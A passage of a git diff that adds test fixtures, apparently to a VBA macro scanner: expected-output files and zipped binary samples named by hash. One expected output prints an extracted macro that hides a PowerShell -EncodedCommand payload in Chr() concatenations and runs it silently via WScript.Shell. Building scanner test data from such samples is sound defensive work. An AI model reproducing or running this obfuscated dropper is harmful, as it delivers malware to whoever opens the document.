Chr(65) & Chr(67) & Chr(99) & Chr(65) & Chr(97) & Chr(65) & Chr(66) & Chr(48) & Chr(65) & Chr(72) & Chr(81) & Chr(65) & Chr(99) & Chr(65) & Chr(65) & Chr(54) & Chr(65) & Chr(67) & Chr(56) & Chr(65) & Chr(76) & Chr(119) & Chr(66) & Chr(104) & Chr(65) & Chr(72) & Chr(65) & Chr(65) & Chr(99) & Chr(65) & Chr(66) & Chr(74) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(76) & Chr(103) & Chr(66) & Chr(106) & Chr(65) & Chr(71) & Chr(56) & Chr(65) & Chr(98) & Chr(81) & Chr(65) _ + & Chr(118) & Chr(65) & Chr(69) & Chr(107) & Chr(65) & Chr(99) & Chr(65) & Chr(66) & Chr(111) & Chr(65) & Chr(71) & Chr(56) & Chr(65) & Chr(98) & Chr(103) & Chr(66) & Chr(108) & Chr(65) & Chr(67) & Chr(52) & Chr(65) & Chr(90) & Chr(81) & Chr(66) & Chr(52) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(74) & Chr(119) & Chr(65) & Chr(103) & Chr(65) & Chr(67) & Chr(48) & Chr(65) & Chr(84) & Chr(119) & Chr(66) & Chr(49) & Chr(65) & Chr(72) & Chr(81) & Chr(65) & Chr(82) & Chr(103) & Chr(66) & Chr(112) & Chr(65) & Chr(71) & Chr(119) & Chr(65) & Chr(90) & Chr(81) & Chr(65) & _ + Chr(103) & Chr(65) & Chr(67) & Chr(99) & Chr(65) & Chr(81) & Chr(119) & Chr(65) & Chr(54) & Chr(65) & Chr(70) & Chr(119) & Chr(65) & Chr(86) & Chr(65) & Chr(66) & Chr(108) & Chr(65) & Chr(71) & Chr(48) & Chr(65) & Chr(99) & Chr(65) & Chr(66) & Chr(99) & Chr(65) & Chr(69) & Chr(107) & Chr(65) & Chr(85) & Chr(65) & Chr(66) & Chr(111) & Chr(65) & Chr(71) & Chr(56) & Chr(65) & Chr(98) & Chr(103) & Chr(66) & Chr(108) & Chr(65) & Chr(67) & Chr(52) & Chr(65) & Chr(90) & Chr(81) & Chr(66) & Chr(52) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(74) & Chr(119) & Chr(65) & _ + Chr(103) & Chr(65) & Chr(67) & Chr(48) & Chr(65) & Chr(86) & Chr(81) & Chr(66) & Chr(122) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(82) & Chr(65) & Chr(66) & Chr(108) & Chr(65) & Chr(71) & Chr(89) & Chr(65) & Chr(89) & Chr(81) & Chr(66) & Chr(49) & Chr(65) & Chr(71) & Chr(119) & Chr(65) & Chr(100) & Chr(65) & Chr(66) & Chr(68) & Chr(65) & Chr(72) & Chr(73) & Chr(65) & Chr(90) & Chr(81) & Chr(66) & Chr(107) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(98) & Chr(103) & Chr(66) & Chr(48) & Chr(65) & Chr(71) & Chr(107) & Chr(65) & Chr(89) & Chr(81) & Chr(66) & Chr(115) _ + & Chr(65) & Chr(72) & Chr(77) & Chr(65) + llllllllll1 = Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(32) & Chr(45) & Chr(69) & Chr(110) & Chr(99) & Chr(111) & Chr(100) & Chr(101) & Chr(100) & Chr(67) & Chr(111) & Chr(109) & Chr(109) & Chr(97) & Chr(110) & Chr(100) & lllllllllll + CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)).Run llllllllll1, 0, True + End Function + + +project_info: + name: "Project" + version: "1652730819.6" + references: + - "stdole" + - "Normal" + - "Office" + - "MSForms" + module_count: 2 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip b/lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..2236f51f39bfdcd1705e11d9cd47f61a3199e85a GIT binary patch literal 12956 zcmdUWcUTkK+OLQRNS7{6bR#Ie2LeP;K}Em{2uKwoAWb@i1TcUoMNlbHB2ra)?=1qG z8jAE1AVNf1AV7$OVP>sav)=x$_5S9zA^i!SV@$vY{PNwy zV}JdVJv?^o%CWP@K#v_292M;C?LaDyN=_gJ2PH=(dsUFVnwpZ5ij%@)Wjl3{f|H7h zlfAuyij#wrx`Umaqq2&fc{`p(`oby-r zdFHPNFnM|ge72{MpMjVNH$bNdx*%qPF-ZEfMB$G>;Hcv^-D%`B-I-yM4k||SYV)_h z%v83!hKVlyh`(+=@@)6&hB!c*+=7v^5(1*{={2X2O+^;NgXOTAy6!{bz zz#Hq)RX+t;T8la){_5uuF^)$x-j=v$ffcSk)#>fGZ7^l`DXxC|_xB7nn6kzs9~e1o z-t*8vw%7?hdD@*8y6=KaMqGwHXg^F&tVu?pyXF16R~es(O?kEa+J-rb+2NKw8sYn7 ze+>I3qSeV9bnC0UQLwa^X>9Vr4o5u2dV3Y?>>mJwrA#CR7g(b#eQV;{w<&~*?;*Y^ zm)ISr(hPc&VfO4M5&_`+ABdKa{Vjhl#CZw20i<$E6H?u%iE8AK*~1@z!xlijwj`-z z)$mq%1ZuA6F8BO%!nszk-Os?4k^7M9Ai+$Py#Dkv?i(SwyV*JZ5mxdRIhERQMAOY` zIre)Plo81kVTw!3v}tKPt<&s*NY0Gt_zpjv{@lEvP^2r2G&^` zo9<`V+4Vu}pWFO|m42u0A3T_WEj&Y85cMlg%o+C_eG&4!N<)0!^a(ysXQBd&?K@K@!{8eleX=7nd9B<}zh zP|T8ab4*Y=Yi2|0NxK_BH*M}DpaG!upHILr)y^=_@2#|L3TYKFP1}ere=zLr`>#9y zn_<|c@lgUZ|6=fe)Bi6MT2uG}Q}rh}>^RiNr7L6eGb<406!XK0Vh2g#l4m6x4Ps^x z_wj^R#}B>{H^fBYT39ntLG*@qQ?S@1-z1z&(((K94xN}8a_#96+5eKdzf7P4eN$F6 zKguxbF^bu6FSYcqKREy&GntPhw31r-k0o;^V2&}=lCp*7XN14|uZR)IT<*%$a>m!V{X?D-PU=%Zz#a3M3#Pq@{ zzLyYvUzyi zbT0IsNoy>gJl~gl*~YQe&yw}jvqg^^lLM|6cs*A%GGG;g&)K2PEPLXneQzCVIzf`w zxtQ-^vK~f*ww5&C2L}W=q3|anqjK<3fC&B_6aU(Bq_81==4G`Un7iz!o48Hai2CM3 z#G62HkOX3gI1od)On0o9rGw;v_yGmt2R9Hu5=uWpEppCYvj?tm0N1ovsi#F=mgE(X z%~D=fn3a@Dt8EH<1^m>|&UDVplWDnYrAP=>@1sDC(-GibjZad@7(`pNXC}g`b7y+! z9yhuVL1o!MuJ)$&zfpn2H{TL;q7v0#bVW$Wx4`xv#

<>1D7Os%hsFNv8w*3W*oq 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 JO!U~X{{^W*G^PLm literal 0 HcmV?d00001 diff --git a/lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out b/lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out new file mode 100644 index 00000000..b01e4616 --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out @@ -0,0 +1 @@ +has_macros: false \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.in.zip b/lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..f024c42a5c57bf6c7fa453502716f274ea5f231d GIT binary patch literal 34638 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 